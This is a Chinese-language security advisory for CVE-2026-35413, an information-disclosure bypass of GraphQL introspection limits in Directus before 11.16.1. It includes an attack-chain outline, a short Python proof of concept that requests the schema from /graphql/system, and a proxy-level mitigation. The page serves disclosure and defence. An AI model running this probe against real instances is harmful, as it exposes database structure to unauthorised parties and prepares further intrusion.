IPBUF安全漏洞报告
English
CVE-2026-35413 CVSS 5.3 中危

CVE-2026-35413 Directus GraphQL内省限制绕过漏洞

披露日期: 2026-04-06

漏洞信息

漏洞编号
CVE-2026-35413
漏洞类型
信息泄露
CVSS评分
5.3 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Directus

相关标签

信息泄露GraphQLDirectus绕过CVE-2026-35413

漏洞概述

Directus在11.16.1版本前存在GraphQL内省限制绕过漏洞。尽管配置了`GRAPHQL_INTROSPECTION=false`,攻击者仍可通过`/graphql/system`端点的`server_specs_graphql`解析器获取数据库模式的SDL表示。该漏洞允许未认证用户获取集合名、字段名及关系等敏感结构信息。

技术细节

该漏洞源于Directus在处理GraphQL内省机制时的逻辑不一致。通常,管理员通过设置`GRAPHQL_INTROSPECTION=false`来禁用标准的内省查询(如`__schema`和`__type`),以防止攻击者探测数据库结构。然而,Directus在`/graphql/system`端点提供了一个特殊的解析器`server_specs_graphql`,用于以SDL(Schema Definition Language)格式返回模式定义。由于该解析器的访问控制逻辑独立于标准内省开关,上述配置未能拦截对该解析器的请求。因此,攻击者可以直接调用此解析器,绕过安全限制,获取完整的数据模型定义,包括字段类型和关系映射,从而为后续攻击提供关键情报。

攻击链分析

STEP 1
步骤1:信息收集
攻击者识别出目标使用的是Directus系统,并确定其GraphQL端点位置。
STEP 2
步骤2:发送探测请求
攻击者向`/graphql/system`端点发送包含`server_specs_graphql`字段的GraphQL查询。
STEP 3
步骤3:绕过限制
服务器响应并返回完整的SDL模式结构,成功绕过`GRAPHQL_INTROSPECTION=false`的限制。
STEP 4
步骤4:分析利用
攻击者解析返回的SDL,获取数据库表结构、字段类型及关系,用于制定进一步的攻击计划。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target URL url = "https://target-directus-instance.com/graphql/system" # GraphQL query to bypass introspection restriction payload = { "query": "query { server_specs_graphql }" } try: response = requests.post(url, json=payload) if response.status_code == 200: print("Vulnerable! Schema SDL:") print(response.text) else: print(f"Request failed with status {response.status_code}") except Exception as e: print(f"An error occurred: {e}")

影响范围

Directus < 11.16.1

防御指南

临时缓解措施
建议在WAF或反向代理层面对`/graphql/system`端点实施严格的访问控制,仅允许受信任的IP地址或经过严格认证的管理员账号访问该特定路径,以阻断未授权的模式探测请求。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表